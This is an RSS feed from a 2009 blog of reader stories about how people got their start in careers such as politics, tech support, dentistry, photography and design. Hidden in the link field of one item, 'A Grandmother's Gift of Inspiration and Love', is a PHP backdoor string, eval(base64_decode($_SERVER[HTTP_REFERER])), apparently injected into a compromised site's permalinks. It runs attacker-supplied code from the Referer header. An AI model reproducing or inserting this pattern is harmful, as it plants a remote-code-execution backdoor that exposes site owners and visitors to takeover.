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	<description>Tales of beginnings - of careers, relationships, more...</description>
	<pubDate>Tue, 24 Mar 2009 02:53:30 +0000</pubDate>
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		<title>How Did You Get Your Start?</title>
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		<pubDate>Wed, 29 Oct 2008 05:06:14 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
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		<description><![CDATA[Biographies, autobiographies, magazine and newspaper features.
Millions of words have been printed about how people got their start in their field, whether that is business, politics, education, the arts or entertainment. It&#8217;s an endlessly fascinating subject, in part because there are so many different paths people can take.
Please share your story - any one of your [...]]]></description>
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		<title>Parental Influence Leads to Political Career</title>
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		<pubDate>Tue, 24 Mar 2009 02:46:11 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
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		<category><![CDATA[reinvention]]></category>

		<category><![CDATA[Richard Nixon]]></category>

		<category><![CDATA[Ronald Reagan]]></category>

		<category><![CDATA[White House]]></category>

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		<description><![CDATA[My parent’s took me to see a whistlestop campaign tour by presidential candidate Richard Nixon in 1968. After that, I received a class assignment to bring Nixon literature to class.
20 years later I was working in the White House for President Reagan.
Now… the big question is: How does one reinvent oneself? I’m looking to make [...]]]></description>
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		<title>Fun and Funny Success After Health and Work Problems</title>
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		<pubDate>Sat, 14 Mar 2009 22:06:37 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
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		<category><![CDATA[Charity]]></category>

		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Clothing]]></category>

		<category><![CDATA[Comics]]></category>

		<category><![CDATA[God]]></category>

		<category><![CDATA[Londons Times]]></category>

		<category><![CDATA[Organic]]></category>

		<category><![CDATA[Pets]]></category>

		<category><![CDATA[Self-Employed]]></category>

		<category><![CDATA[Teaching]]></category>

		<guid isPermaLink="false">http://igotmystart.com/?p=277</guid>
		<description><![CDATA[James was kind enough to invite me here to share “how I got my start”. Ironically another magazine (a hard copy one wanted a similar story with more of a pre-biography) attached to it. I decided to combine the two an this is what I wrote. Thank so much James. Hope your readers enjoy. Sincerely, [...]]]></description>
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		<title>An Ad, Training, Match with Skills, Proactive Effort, and Hard Work</title>
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		<pubDate>Thu, 26 Feb 2009 04:02:33 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[Tech Support]]></category>

		<category><![CDATA[Unemployed]]></category>

		<guid isPermaLink="false">http://igotmystart.com/?p=275</guid>
		<description><![CDATA[I had a string of service industry jobs through my twenties, and then a recession hit. I was out of a job and collecting employment insurance. Just as my insurance was running out, I found one of the government retraining programs in the back of one of those want-ad broadsheets you can find everywhere.
I took [...]]]></description>
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		<title>A Friend, a Mentor and Help</title>
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		<pubDate>Thu, 19 Feb 2009 21:20:47 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[writing]]></category>

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		<description><![CDATA[I’ll start with Chapter 5: Donna Makes the Transition from Admin Assistant to Technical Writer
Way back… 1990-something, a friend told me I should be a technical writer. I didn’t believe her, but she was absolutely convinced I could do it. (We met when I was the editor of several organizational newsletters). 
My friend interviewed for [...]]]></description>
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		<title>Extreme Frustration Provides Motivation</title>
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		<pubDate>Mon, 16 Feb 2009 15:50:28 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Cubicle]]></category>

		<category><![CDATA[Self-Employed]]></category>

		<category><![CDATA[Tech]]></category>

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		<description><![CDATA[I got my start in business in 1988. I was sitting at my desk in a tech company and it dawned on me that if I stayed inside at that cubicle one more day, I was going to get a gun and shoot myself. For real.
I remember like it was yesterday. I got up, went [...]]]></description>
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		<title>A &#8220;Filling&#8221; Opportunity</title>
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		<pubDate>Sun, 15 Feb 2009 23:12:29 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Art]]></category>

		<category><![CDATA[Cartoons]]></category>

		<category><![CDATA[Dental Assistant]]></category>

		<category><![CDATA[Patient Coordinator]]></category>

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		<description><![CDATA[As for my current career, I had been working in a garment factory for way too long and was so desperate to leave that I was almost about to stand on the street corner and hand out resumes to passersby. During this time I had a filling come out of a tooth.
Went to the dentist [...]]]></description>
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		<title>Health Problems Overcome Point the Way</title>
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		<pubDate>Sun, 08 Feb 2009 16:23:09 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Bipolar]]></category>

		<category><![CDATA[celiac]]></category>

		<category><![CDATA[health care]]></category>

		<category><![CDATA[hospice]]></category>

		<category><![CDATA[jaundice]]></category>

		<category><![CDATA[liver]]></category>

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		<description><![CDATA[In my early thirties I began to turn yellow and by the time I was in my fifties, I was bronzed orange all year round (even in the Montana wintertime with lots of overcast days). I also developed celiac symptoms (severe gluten intolerance) and was about 20-30 pounds overweight.
My first husband developed some horrible symptoms [...]]]></description>
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		<title>Craigslist Brings New &#8220;Blissful&#8221; Career Possibility</title>
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		<pubDate>Thu, 29 Jan 2009 00:26:03 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Self-Employed]]></category>

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		<description><![CDATA[I started in college doing many different odd jobs to pay for tuition and extra curricular activities. 
I used the internet to find jobs as well as training for what I do today.
What I stumbled upon online and eventually learned was that Wedding Photography is my passion. I’m looking to be my own boss and [...]]]></description>
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		<title>A Grandmother&#8217;s Gift of Inspiration and Love</title>
		<link>http://igotmystart.com/2009/01/20/grandmothers-gift-of-inspiration-and-love/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 20 Jan 2009 17:55:00 +0000</pubDate>
		<dc:creator>James Dickey</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<category><![CDATA[Design]]></category>

		<category><![CDATA[Ford Motor Company]]></category>

		<category><![CDATA[Generosity]]></category>

		<category><![CDATA[Giving]]></category>

		<category><![CDATA[Grandmother]]></category>

		<category><![CDATA[Inspiration]]></category>

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		<description><![CDATA[I am a web/graphic designer who was extremely unhappy in the corporate world, as it squandered all my creativity and turned what I used to love into what felt like a chore. Then one day it came to me, that I was meant to start something on my own and re-gain what it felt like [...]]]></description>
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